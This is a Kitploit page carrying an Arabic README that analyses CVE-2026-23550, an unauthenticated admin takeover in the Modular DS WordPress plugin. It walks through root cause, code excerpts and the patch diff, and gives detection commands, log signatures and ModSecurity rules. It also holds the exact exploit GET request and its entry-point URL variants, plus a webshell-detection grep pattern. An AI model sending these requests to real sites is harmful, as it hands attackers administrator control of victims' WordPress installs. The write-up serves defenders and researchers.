Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-23550 — تقرير تعليمي وPoC لـ CVE-2026-23550، وهو استيلاء حرج على جلسة المسؤول دون مصادقة في إضافة Modular DS لووردبريس. يتضمن تحليل السبب الجذري، ومراجعة الكود المصدري، وفرق التصحيح، وإرشادات الكشف. | Kitploit
أدوات/GitHubGitHub/1beelze/cve-2026-23550
تصعيد الامتيازاتتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليم
GitHub1beelze/cve-2026-23550

CVE-2026-23550

تقرير تعليمي وPoC لـ CVE-2026-23550، وهو استيلاء حرج على جلسة المسؤول دون مصادقة في إضافة Modular DS لووردبريس. يتضمن تحليل السبب الجذري، ومراجعة الكود المصدري، وفرق التصحيح، وإرشادات الكشف.

عرض المستودع
منذ شهر واحدلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
root@kitploit:~
   ██████╗██╗   ██╗███████╗    ██████╗  ██████╗ ██████╗  ██████╗    ██████╗ ██████╗ ███████╗ ███████╗ ██████╗
  ██╔════╝██║   ██║██╔════╝    ╚════██╗██╔═████╗╚════██╗██╔════╝    ╚════██╗╚════██╗██╔════╝ ██╔════╝██╔═████╗
  ██║     ██║   ██║█████╗       █████╔╝██║██╔██║ █████╔╝███████╗     █████╔╝ █████╔╝███████╗ ███████╗██║██╔██║
  ██║     ╚██╗ ██╔╝██╔══╝      ██╔═══╝ ████╔╝██║██╔═══╝ ██╔═══██╗    ╚═══██╗ ╚═══██╗╚════██║ ╚════██║████╔╝██║
  ╚██████╗ ╚████╔╝ ███████╗    ███████╗╚██████╔╝███████╗╚██████╔╝    ██████╔╝██████╔╝███████║ ███████║╚██████╔╝
   ╚═════╝  ╚═══╝  ╚══════╝    ╚══════╝ ╚═════╝ ╚══════╝ ╚═════╝     ╚═════╝ ╚═════╝ ╚══════╝ ╚══════╝ ╚═════╝

CVE-2026-23550

Modular DS · استيلاء على جلسة المشرف دون مصادقة

CVSS Type Auth Vector Status Patched

تحليل السبب الجذري · شرح الكود المصدري · فرق التصحيح · إثبات المفهوم التعليمي

بواسطة: Beelze ( zeroday 1diot9 )


📌 ملخص سريع

Modular DS (modular-connector) هو إضافة لإدارة مواقع WordPress بعدد أكثر من 40,000 تثبيت نشط. الإصدارات ≤ 2.5.1 تحتوي على سلسلة من خمسة عيوب متراكمة تسمح لأي مهاجم غير مصادق بتجاوز المصادقة، واستدعاء نقطة تسجيل الدخول الداخلية للإضافة، وتلقي كوكي جلسة wordpress_logged_in_* لحساب المشرف الأول — مع طلب HTTP GET واحد.

root@kitploit:~
GET /api/modular-connector/login/x?origin=mo&type=x HTTP/1.1
Host: victim.tld

→  HTTP/1.1 302 Found
   Location: /wp-admin/index.php
   Set-Cookie: wordpress_logged_in_<hash>=...

النتيجة: استيلاء كامل على صلاحيات المشرف. يمكن للمهاجم تثبيت إضافات ضارة، وضع قذائف ويب، إنشاء حسابات مشرف احتياطية، وسرقة قاعدة البيانات.


📖 جدول المحتويات

  • الإصدارات المتأثرة
  • سطح الهجوم
  • تحليل السبب الجذري
  • شرح الكود المصدري
  • فرق التصحيح (2.5.1 → 2.5.2)
  • إثبات المفهوم
  • الكشف والعلاج
  • الجدول الزمني
  • المراجع
  • إخلاء المسؤولية

🎯 الإصدارات المتأثرة


🎯 سطح الهجوم

تؤدي الثغرة إلى تشغيل موجه مخصص مشتق من Laravel مدمج في الإضافة. ترسل الإضافة نواة HTTP خاصة بها (Ares/Framework) ترتبط بإجراء parse_request في ووردبريس لاختطاف الطلبات قبل أن يقوم توجيه ووردبريس نفسه بتولي الأمر.

المتطلبات المسبقة: لا شيء (الإضافة مثبتة ونشطة، ومتصلة بـ Modular SaaS — وهو الوضع الافتراضي لجميع التثبيتات الحية).

نقاط الدخول (أي واحدة منها كافية):

root@kitploit:~
/api/modular-connector/login/<any>?origin=mo&type=<any>
/?rest_route=/api/modular-connector/login/<any>&origin=mo&type=<any>
/index.php?rest_route=/api/modular-connector/login/<any>&origin=mo&type=<any>
/wp-load.php?origin=mo&type=<any>

🚩 تحليل السبب الجذري

الثغرة ليست عيبًا واحدًا — بل هي سلسلة من خمسة عيوب متراكمة. كل طبقة، إذا نظرنا إليها بشكل منفرد، قد تبدو دفاعية؛ لكنها مجتمعة تنهار إلى استيلاء على صلاحيات المشرف دون مصادقة.

root@kitploit:~
flowchart TB
    A["🌐 طلب المهاجم<br/>?origin=mo&type=x"] --> B["① HttpUtils::isDirectRequest()<br/>تفتح البوابة بمجرد وجود معاملات استعلام"]
    B --> C["② Router::findRoute()<br/>حل عنوان URL ضمنيًا إلى مسار /login"]
    C --> D["③ مرشح bindOldRoutes()<br/>يمر عند type غير معروف"]
    D --> E["④ ModularGuard::check()<br/>يتحقق من OAuth الخادم، وليس من الطلب"]
    E --> F["⑤ AuthController::getLogin()<br/>الرجوع افتراضيًا لأول مستخدم مشرف"]
    F --> G["🔑 Set-Cookie: wordpress_logged_in_*<br/>المهاجم = مشرف"]

    style A fill:#ff4444,stroke:#000,color:#fff
    style G fill:#00cc44,stroke:#000,color:#fff
    style B fill:#ff8888,stroke:#000
    style C fill:#ffaa66,stroke:#000
    style D fill:#ffcc44,stroke:#000
    style E fill:#ff8888,stroke:#000
    style F fill:#ff4444,stroke:#000,color:#fff

📋 ملخص العيوب


🔬 شرح الكود المصدري

① بوابة التشغيل — HttpUtils::isDirectRequest()

الملف: vendor/ares/framework/src/Foundation/Http/HttpUtils.php:64

root@kitploit:~
public static function isDirectRequest(): bool
{
    $request = app('request');
    $userAgent = $request->header('User-Agent');
    $userAgentMatches = $userAgent && Str::is('ModularConnector/* (Linux)', $userAgent);
    $originQuery = $request->has('origin') && $request->get('origin') === 'mo';
    $isFromQuery = ($originQuery || $userAgentMatches) && $request->has('type');

    if ($isFromQuery) {
        return true;   // ⚠️ فقط معامل استعلام، بدون توقيع
    }
    return false;
}

المشكلة: وضع "الطلب المباشر" — الذي كان يهدف إلى التعرف على المكالمات الشرعية من خلفية Modular SaaS — يتم التحكم فيه بواسطة معاملات استعلام نصية عادية بدون HMAC، JWT، nonce موقع، أو قائمة عناوين IP مسموحة. يمكن لأي مهاجم تشغيل هذا المفتاح.

② الحل الضمني لـ URL→Route — Router::findRoute()

الملف: vendor/ares/framework/src/Foundation/Routing/Router.php:20

root@kitploit:~
protected function findRoute($request)
{
    $this->current = $route = apply_filters(
        'ares/routes/match',
        $this->routes->match($request),   // ⚠️ يتم حل عنوان URL إلى مسار قبل تشغيل المرشح
        true
    );
    $route->setContainer($this->container);
    $this->container->instance(Route::class, $route);
    return $route;
}

المشكلة: دالة routes->match($request) في Laravel تحل /api/modular-connector/login/xxx إلى مسار login (المحمي بالمصادقة) قبل تشغيل مرشح الأمان. يستلم المرشح هذا المسار كمدخل، مما يجعله يتحمل عبء إثبات أن المسار غير شرعي بدلاً من تفويضه صراحة.

③ مرور المرشح — bindOldRoutes()

الملف: src/app/Providers/RouteServiceProvider.php:46

root@kitploit:~
public function bindOldRoutes($route, $removeQuery = false)
{
    if (!HttpUtils::isDirectRequest()) return $route;

    $request = request();
    $type = $request->header('x-mo-type', $request->get('type'));

    if ($type === 'request') { /* إعادة ربط عبر استدعاء OAuth موقع */ }
    if ($type === 'oauth')   { /* إعادة ربط إلى معالج /oauth */ }
    if ($type === 'lb')      { /* إعادة ربط إلى /schedule/run */ }

    return $route;   // ⚠️ نوع غير معروف → يبقى المسار من عنوان URL كما هو
}

المشكلة: يتجاوز المرشح المسار فقط عندما يكون type أحد القيم الثلاث المعروفة. عندما يكون type عشوائيًا (x، foo، فارغ)، فإنه يمر ويعيد المسار الذي تم حله من عنوان URL دون تغيير. ينتقل المسار المستند إلى عنوان URL login — والذي كان محميًا بالمصادقة على الورق — إلى تقييم الوسيطة.

④ الحارس المكسور — ModularGuard::check()

الملف: vendor/ares/framework/src/Foundation/Auth/ModularGuard.php:16

root@kitploit:~
public function check()
{
    return !is_null($this->user());
}

public function user()
{
    $client = OauthClient::getClient();
    try {
        $client->validateOrRenewAccessToken();   // ⚠️ يتحقق من حالة الخادم
        $this->user = ['id' => $client->getClientId()];
    } catch (\Throwable $e) {
        return null;
    }
    return $this->user;
}

المشكلة: يقوم حارس modular المخصص بتنفيذ تحقق صفري من هوية الطلب الوارد. يتحقق فقط من أن الإضافة نفسها لا تزال تحتفظ بجلسة OAuth صالحة مع Modular SaaS. نظرًا لأن كل تثبيت تقريبًا متصل (وإلا كانت الإضافة عديمة الفائدة)، فإن الحارس يعيد true لأي طلب يصل إليه.

هذا هو العيب المحوري. حتى لو تم إصلاح العيوب ①–③، فإن هذا الحارس المكسور وحده سيظل يسمح بالوصول غير المصرح به إلى كل مسار في مجموعة وسيطة auth.

⑤ الرجوع الافتراضي للمشرف — AuthController::getLogin()

الملف: src/app/Http/Controllers/AuthController.php:66

root@kitploit:~
public function getLogin(SiteRequest $modularRequest)
{
    $user = data_get($modularRequest->body, 'id');   // null — الربط لم يملأ أبدًا

    if (!empty($user)) {
        $user = get_user_by('id', $user);
    }

    if (empty($user)) {
        Cache::driver('wordpress')->forget('user.login');
        $user = ServerSetup::getAdminUser();   // 💣 أول مشرف على الموقع
    }

    $cookies = ServerSetup::loginAs($user, true);   // 💣 إصدار كوكي جلسة WordPress
    return Response::redirectTo(admin_url('index.php'))->withCookies($cookies);
}

المشكلة: يتم ملء ربط SiteRequest للمسار فقط عندما يكون type === 'request' في سلسلة المرشح. بالنسبة لـ type غير معروف، يصل $modularRequest إلى وحدة التحكم ككائن فارغ. ثم تعود وحدة التحكم بهدوء إلى أول مستخدم مشرف وتصدر له كوكي تسجيل دخول WordPress. يمكن لأي شخص الدخول من الباب الأمامي.


🩹 فرق التصحيح (2.5.1 → 2.5.2)

root@kitploit:~
━━━ vendor/ares/framework/src/Foundation/Routing/Router.php ━━━
- $route = apply_filters('ares/routes/match', $this->routes->match($request), true);
+ $route = apply_filters('ares/routes/match', true);

━━━ src/app/Providers/RouteServiceProvider.php ━━━
- public function bindOldRoutes($route, $removeQuery = false)
- {
-     if (!HttpUtils::isDirectRequest()) return $route;
+ public function bindOldRoutes($removeQuery = false)
+ {
+     $routes = app('router')->getRoutes();
+     $route = $routes->getByName('default');   // 👈 ابدأ دائمًا من مسار 404
+     $route->bind(request());
+     if (!HttpUtils::isDirectRequest()) return $route;

━━━ src/routes/api.php ━━━
+ Route::get('default/{request}', function () {
+     abort(404);
+ })->name('default');

🔑 فلسفة التصحيح

يزيل الإصلاح حل URL→المسار الضمني تمامًا. يبدأ المرشح الآن بمسار default مربوط بـ abort(404) ويعيد الربط فقط إلى وحدة تحكم حقيقية عندما يكون type إحدى القيم الثلاث المسموح بها صراحة. في المنطق الجديد، ينتج type=x 404 — لا يصل الطلب أبدًا إلى وحدة التحكم في تسجيل الدخول، ولا يوجد شيء يمكن للحارس المكسور أن يفشل في مواجهته.

هذا هو الدفاع في العمق المطبق بأثر رجعي: على الرغم من أن ModularGuard::check() لا يزال ضعيفًا من الناحية الهيكلية، إلا أن سلسلة الوصول إليه مغلقة الآن للمسارات المحمية بالمصادقة.


🛠️ إثبات المفهوم


🛡️ الكشف والعلاج

فوري

  • قم بالترقية إلى modular-connector >= 2.5.2 — غير قابل للتفاوض.
  • إذا كانت الترقية محظورة، قم بتعطيل الإضافة بالكامل. لا يوجد حل بديل عن طريق الإعدادات.

تقييم الاختراق

بعد الترقية، افترض الاختراق إذا كانت الإصابة ≤ 2.5.1 ومواجهة للإنترنت منذ 2026-01-13. تحقق من:

root@kitploit:~
# 1. حسابات مشرف غير مصرح بها
wp user list --role=administrator --fields=ID,user_login,user_email,user_registered

# 2. تثبيت إضافات مشبوهة بعد 2026-01-13
find wp-content/plugins/ -type d -newer /tmp/marker-jan13

# 3. ملفات أساسية تم تعديلها مؤخرًا
find wp-includes/ wp-admin/ -type f -mtime -30

# 4. قذائف ويب (الحمولات الشائعة التي يتم إسقاطها بعد الاستغلال)
grep -rEn '(eval\(base64_decode|assert\(\$_|passthru\(\$_|preg_replace.*/e)' wp-content/

تواقيع خادم الويب (سجلات Apache / Nginx)

root@kitploit:~
GET /api/modular-connector/login/[^\s]+\?origin=mo&type=[^\s]+
GET /?rest_route=/api/modular-connector/login[^\s]+origin=mo

قاعدة WAF / ModSecurity (تخفيف مؤقت)

root@kitploit:~
SecRule REQUEST_URI "@rx /api/modular-connector/login" \
  "id:2026023550,phase:1,deny,status:403,log,\
   msg:'CVE-2026-23550 exploit attempt (Modular DS)'"

SecRule ARGS:origin "@streq mo" \
  "chain,id:2026023551,phase:1,deny,status:403,log,\
   msg:'CVE-2026-23550 direct-request bypass attempt'"
  SecRule ARGS:type "@rx .+"

📅 الجدول الزمني


📚 المراجع

  • Patchstack Advisory
  • The Hacker News — Critical WordPress Modular DS
  • BleepingComputer — Active Exploitation Report
  • Security Affairs — Admin Takeover Analysis
  • eSecurity Planet — 40K Installs at Risk
  • Rescana — Incident Response Notes
  • WordPress Plugin Repository — modular-connector

👤 المؤلف

Beelze · zeroday 1diot9

باحث متقدم في CVE · محلل ثغرات · باني إثبات المفهوم


⚖️ إخلاء المسؤولية

هذا المستودع منشور بدقة لأغراض البحث التعليمية والدفاعية.

الثغرة معلنة علنًا ( CVE-2026-23550 )، وتم تصحيحها من قبل المطور (modular-connector 2.5.2)، ومفصلة في الصحافة الأمنية السائدة. هذا الشرح موجود لمساعدة المدافعين على فهم السبب الجذري، والمطورين على التعلم من فشل تصميم المصادقة في العالم الحقيقي، والباحثين على دراسة نمط العيوب المتسلسلة.

لا تقم بتشغيل نصوص إثبات المفهوم المضمنة ضد أنظمة لا تملكها أو تفتقر إلى إذن كتابي صريح لاختبارها. الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني في كل ولاية قضائية تقريبًا (CFAA · قانون إساءة استخدام الكمبيوتر · قانون ITE · إلخ).

لا يتحمل المؤلف أي مسؤولية عن سوء الاستخدام. إذا كنت غير متأكد مما إذا كان استخدامك مصرحًا به، فهو ليس كذلك.


مصنوع بـ 🎯 من أجل مجتمع أبحاث الأمن.

⭐ قم بتمييز هذا المستودع بنجمة إذا ساعدك في تعلم شيء ما.

تنزيل الأداة
الحقلالقيمة
اسم الإضافةModular DS
الاسم المختصرmodular-connector
الإصدارات المعرضة للخطر<= 2.5.1
الإصدار المصحح2.5.2
التثبيتات النشطة~40,000
CVSS v3.110.0 / حرج (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)
CWECWE-287 · CWE-306 · CWE-863
OWASPA07 — فشل تحديد الهوية والمصادقة
#الطبقةالملفالمشكلة الجذرية
①بوابة التشغيلHttpUtils.php:64فحص origin=mo يعتمد فقط على معاملات الاستعلام بدون تشفير/ nonce
②مطابقة URL → المسارRouter.php:20حل عنوان URL ضمنيًا يمر مباشرة إلى المرشح
③مرشح تجاوز المسارRouteServiceProvider.php:46type غير معروف يمر مع بقاء المسار الأصلي
④حارس المصادقةModularGuard.php:16يتحقق من حالة OAuth على جانب الخادم، وليس هوية الطلب
⑤وحدة التحكم في تسجيل الدخولAuthController.php:66الرجوع الصامت إلى getAdminUser() عند عدم وجود مدخلات
التاريخالحدث
2026-01-XXالمطور يصدر 2.5.2 مع إصلاح أمني صامت
2026-01-13 ~02:00 UTCأول استغلال ملاحظ في البرية
2026-01-13Patchstack تنشر إشعارًا · تعيين CVE-2026-23550
2026-01-14تغطية من The Hacker News، BleepingComputer، Security Affairs
2026-07-05نشر هذا الشرح التعليمي